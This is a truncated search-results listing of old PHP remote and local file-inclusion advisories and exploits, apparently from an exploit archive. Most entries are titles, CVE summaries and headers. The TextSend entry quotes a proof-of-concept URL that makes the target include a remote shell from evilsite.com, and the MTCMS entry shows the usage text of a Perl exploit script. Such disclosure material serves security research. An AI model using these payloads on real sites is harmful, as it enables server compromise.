287 matches found
wps1-rfi.txt
+-------------------------------------------------------------------- + + Wap Portal Serve 1. = Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: Wap Portal Server + Venedor ...........: http://www.sakic.net + Class ...............
CVE-2007-0637
CVE-2007-0637 describes a directory traversal vulnerability in the PHP script zd_numer.php for Galeria Zdjec 3.0 and earlier. An attacker can use a ".." path component in the galeria parameter to cause local file inclusion, enabling remote attackers to include and execute arbitrary local files (i...
CVE-2007-0337
Directory traversal vulnerability in sesskglogadmin.php in KGB 1.9 and earlier allows remote attackers to include and execute arbitrary local files via a .. dot dot in the skinnn parameter, as demonstrated by invoking kg.php with a postek parameter containing PHP code, which is injected into a fi...
Aratix <= 0.2.2b11 (inc/init.inc.php) Remote File Include Vulnerability
No description provided by source. +------------------------------------------------------------------------------------------- + Aratix = 0.2.2b11 inc/init.inc.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- +...
Aratix 0.2.2b11 - '/inc/init.inc.php' Remote File Inclusion
+------------------------------------------------------------------------------------------- + Aratix +------------------------------------------------------------------------------------------- + Details: + Aratix inc/init.inc.php does not initialize the $currentpath variable before using it to ...
Bubla <= 1.0.0rc2 (bu/process.php) Remote File Include Vulnerability
No description provided by source. DeltasecurityTEAM WwW.Deltasecurity.iR Portal Name = Bubla = 1.0.0rc2 Class = Remote File Inclusion Risk = High Remote File Execution Download = http://download.sourceforge.net/pub/sourceforge/b/bu/bubla/bubla-1.0.0rc1.tar.gz Discoverd By = DeltahackingTEAM User...
Bubla 1.0.0rc2 - '/bu/process.php' Remote File Inclusion
DeltasecurityTEAM WwW.Deltasecurity.iR Portal Name = Bubla = 1.0.0rc2 Class = Remote File Inclusion Risk = High Remote File Execution Download = http://download.sourceforge.net/pub/sourceforge/b/bu/bubla/bubla-1.0.0rc1.tar.gz Discoverd By = DeltahackingTEAM User In Delta Team = DavoodCracker...
Irokez CMS <= 0.7.1 Multiple Remote File Include Vulnerabilities
No description provided by source. +------------------------------------------------------------------------------------------- + Irokez CMS = 0.7.1 Multiple Remote File Include Vulnerabilities +------------------------------------------------------------------------------------------- + Vendor...
Irokez Blog 0.7.1 - Multiple Remote File Inclusions
Irokez Blog 0.7.1 - Multiple Remote File Inclusions +------------------------------------------------------------------------------------------- + Irokez CMS +------------------------------------------------------------------------------------------- + Details: + Irokez CMS has several scripts...
MTCMS <= 2.0 (admin/admin_settings.php) Remote File Include Exploit
Exploit for unknown platform in category web applications =================================================================== MTCMS \n"; print "-h, --host\ttarget host\texample.com\n"; print "-f, --file\tremote file\thttp://evilsite.com/shell.php\n"; print "-d, --dir\tinstall dir\t/mtcms\n"; exit...
MTCMS 2.0 - '/admin/admin_settings.php' Remote File Inclusion
!/usr/bin/perl +------------------------------------------------------------------------------------------- + MTCMS + Requirements.......: registerglobals = on +------------------------------------------------------------------------------------------- use Getopt::Long; use URI::Escape; use...
Irokez Blog 0.7.1 - Multiple Remote File Inclusions
+------------------------------------------------------------------------------------------- + Irokez CMS +------------------------------------------------------------------------------------------- + Details: + Irokez CMS has several scripts which do not initialize variables before using them to...
TextSend <= 1.5 (config/sender.php) Remote File Include Vulnerability
+------------------------------------------------------------------------------------------- + TextSend = 1.5 config/sender.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Vendor ............:...
PowerClan 1.14a - footer.inc.php Remote File Inclusion
PowerClan 1.14a - footer.inc.php Remote File Inclusion +------------------------------------------------------------------------------------------- + PowerClan +------------------------------------------------------------------------------------------- + Details: + PowerClan footer.inc.php does n...
PgmReloaded 0.8.5 - Multiple Remote File Inclusions
+------------------------------------------------------------------------------------------- + PgmReloaded +------------------------------------------------------------------------------------------- + Details: + PgmReloaded has several scripts which do not initialize variables before using them ...
TextSend 1.5 - configsender.php Remote File Inclusion
TextSend 1.5 - configsender.php Remote File Inclusion +------------------------------------------------------------------------------------------- + TextSend +------------------------------------------------------------------------------------------- + Details: + TextSend config/sender.php does n...
TextSend <= 1.5 (config/sender.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ===================================================================== TextSend include "$ROOTPATH/config.php"; + + Proof Of Concept: + http://target/path/config/sender.php?ROOTPATH=http://evilsite.com/shell.php?...
phpProfiles 3.1.2b - Multiple Remote File Inclusions
phpProfiles 3.1.2b - Multiple Remote File Inclusions +------------------------------------------------------------------------------------------- + phpProfiles +------------------------------------------------------------------------------------------- + Details: + phpProfiles has several scripts...
phpProfiles <= 3.1.2b Multiple Remote File Include Vulnerabilities
Exploit for unknown platform in category web applications ================================================================== phpProfiles + include/account.inc.php, lines 09: include"$incpath/footer.inc.php"; + include/index.inc.php, lines 05: include"$incpath/adminerr.inc.php"; + ... see below fo...
phpProfiles <= 3.1.2b Multiple Remote File Include Vulnerabilities
No description provided by source. +------------------------------------------------------------------------------------------- + phpProfiles = 3.1.2b Multiple Remote File Include Vulnerabilities +------------------------------------------------------------------------------------------- + Affect...